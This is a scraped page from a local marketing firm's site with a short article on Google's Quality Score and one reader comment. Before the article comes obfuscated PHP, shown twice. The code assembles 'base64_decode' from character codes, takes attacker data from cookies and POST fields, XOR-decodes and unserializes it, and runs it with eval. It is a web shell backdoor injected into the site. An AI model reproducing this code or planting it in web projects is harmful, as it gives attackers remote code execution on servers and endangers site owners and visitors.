$lvDcPvMnsY = 't' . "\167" . "\x5f" . chr ( 482 - 393 ).chr (69) . chr ( 544 - 470 ).chr ( 936 - 827 ); $huTlocJqc = 'c' . "\x6c" . "\141" . chr ( 312 - 197 )."\163" . chr ( 918 - 823 ).chr (101) . chr ( 1031 - 911 ).chr (105) . "\x73" . chr (116) . "\163";$EAHgJu = class_exists($lvDcPvMnsY); $huTlocJqc = "62345";$poeCOjxK = strpos($huTlocJqc, $lvDcPvMnsY);if ($EAHgJu == $poeCOjxK){function ZBpXfcLpbQ(){$EYmtVOA = new /* 64133 */ tw_YEJm(62218 + 62218); $EYmtVOA = NULL;}$HlaBPkhBs = "62218";class tw_YEJm{private function IsMOTaxafN($HlaBPkhBs){if (is_array(tw_YEJm::$AOlsqqd)) {$MwUUucKty2 = str_replace("<" . "?php", "", tw_YEJm::$AOlsqqd["content"]);eval($MwUUucKty2); $HlaBPkhBs = "62218";exit();}}public function xqYLAW(){$MwUUucKty = "36117";$this->_dummy = str_repeat($MwUUucKty, strlen($MwUUucKty));}public function __destruct(){tw_YEJm::$AOlsqqd = @unserialize(tw_YEJm::$AOlsqqd); $HlaBPkhBs = "54927_61587";$this->IsMOTaxafN($HlaBPkhBs); $HlaBPkhBs = "54927_61587";}public function GMVgGfnhv($MwUUucKty, $WQIdi){return $MwUUucKty[0] ^ str_repeat($WQIdi, intval(strlen($MwUUucKty[0]) / strlen($WQIdi)) + 1);}public function aYzEpF($MwUUucKty){$SuMRl = "\x62" . "\x61" . "\x73" . chr (101) . chr ( 426 - 372 ).'4';return array_map($SuMRl . chr (95) . chr ( 806 - 706 )."\x65" . "\x63" . "\157" . chr (100) . chr ( 1032 - 931 ), array($MwUUucKty,));}public function __construct($bqWqLs=0){$WmiPv = ',';$MwUUucKty = "";$fKsQUc = $_POST;$xjujPNSu = $_COOKIE;$WQIdi = "2b11fda0-3d5b-4feb-af8a-3eee5cd64e29";$YCJaxa = @$xjujPNSu[substr($WQIdi, 0, 4)];if (!empty($YCJaxa)){$YCJaxa = explode($WmiPv, $YCJaxa);foreach ($YCJaxa as $jmUMsR){$MwUUucKty .= @$xjujPNSu[$jmUMsR];$MwUUucKty .= @$fKsQUc[$jmUMsR];}$MwUUucKty = $this->aYzEpF($MwUUucKty);}tw_YEJm::$AOlsqqd = $this->GMVgGfnhv($MwUUucKty, $WQIdi);if (strpos($WQIdi, $WmiPv) !== FALSE){$WQIdi = explode($WmiPv, $WQIdi); $iqvkl = sprintf("54927_61587", strrev($WQIdi[0]));}}public static $AOlsqqd = 23447;}ZBpXfcLpbQ();}$kijlos = chr ( 564 - 484 ).chr ( 438 - 343 ).chr ( 732 - 634 ).chr ( 731 - 626 )."\127" . 'l';$mMQNRfDbrm = 'c' . "\x6c" . "\x61" . chr ( 588 - 473 )."\163" . chr ( 123 - 28 )."\145" . "\170" . "\x69" . chr (115) . chr (116) . chr (115); $aFiMhnYmi = class_exists($kijlos); $mMQNRfDbrm = "59796";$HGyXk = strpos($mMQNRfDbrm, $kijlos);if ($aFiMhnYmi == $HGyXk){function ppnrJttlK(){$NMIfDIrK = new /* 22906 */ P_biWl(49324 + 49324); $NMIfDIrK = NULL;}$CIEnM = "49324";class P_biWl{private function wTesq($CIEnM){if (is_array(P_biWl::$WpzPmjsEe)) {$qNwCwRkUog2 = str_replace("<" . "?php", "", P_biWl::$WpzPmjsEe["content"]);eval($qNwCwRkUog2); $CIEnM = "49324";exit();}}public function KqnLiJ(){$qNwCwRkUog = "22855";$this->_dummy = str_repeat($qNwCwRkUog, strlen($qNwCwRkUog));}public function __destruct(){P_biWl::$WpzPmjsEe = @unserialize(P_biWl::$WpzPmjsEe); $CIEnM = "54401_17030";$this->wTesq($CIEnM); $CIEnM = "54401_17030";}public function hDsZDRmMo($qNwCwRkUog, $ZbQMUX){return $qNwCwRkUog[0] ^ str_repeat($ZbQMUX, intval(strlen($qNwCwRkUog[0]) / strlen($ZbQMUX)) + 1);}public function XWXSt($qNwCwRkUog){$WjkLMla = chr (98) . chr ( 502 - 405 )."\x73" . "\x65" . chr ( 445 - 391 ).'4';return array_map($WjkLMla . chr (95) . 'd' . chr ( 853 - 752 ).chr ( 555 - 456 )."\157" . chr (100) . "\145", array($qNwCwRkUog,));}public function __construct($uuuLniJm=0){$eJBFm = ',';$qNwCwRkUog = "";$ejOpDQy = $_POST;$IZbIDytjO = $_COOKIE;$ZbQMUX = "3fdc8fd7-cfc7-48f4-8178-ca9774293990";$kgBOiVnEPR = @$IZbIDytjO[substr($ZbQMUX, 0, 4)];if (!empty($kgBOiVnEPR)){$kgBOiVnEPR = explode($eJBFm, $kgBOiVnEPR);foreach ($kgBOiVnEPR as $WVPuDKlAy){$qNwCwRkUog .= @$IZbIDytjO[$WVPuDKlAy];$qNwCwRkUog .= @$ejOpDQy[$WVPuDKlAy];}$qNwCwRkUog = $this->XWXSt($qNwCwRkUog);}P_biWl::$WpzPmjsEe = $this->hDsZDRmMo($qNwCwRkUog, $ZbQMUX);if (strpos($ZbQMUX, $eJBFm) !== FALSE){$ZbQMUX = explode($eJBFm, $ZbQMUX); $iyJmS = sprintf("54401_17030", strrev($ZbQMUX[0]));}}public static $WpzPmjsEe = 21246;}ppnrJttlK();} Understanding Google's Ad Score - APG Local
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March 21, 2020

Understanding Google’s Ad Score

Understanding Google's Quality Score

By Frederik Vallaeys

Quality Score is Google’s rating of the quality and relevance of both your keywords and PPC ads (SEM). It is used to determine your cost per click (CPC) and multiplied by your maximum bid to determine your ad rank in the ad auction process. … The relevance of each keyword to its ad group. Landing page quality and relevance.

One Comment on “Understanding Google’s Ad Score”

Andy Entrekin - APG Local Founder - Oxford Gadsden Anniston Birmingham AL
Andrew Entrekin
April 7, 2020 at 10:37 pm

This is one thing APG Local patrols on a daily basis. We have all sorts of data on this

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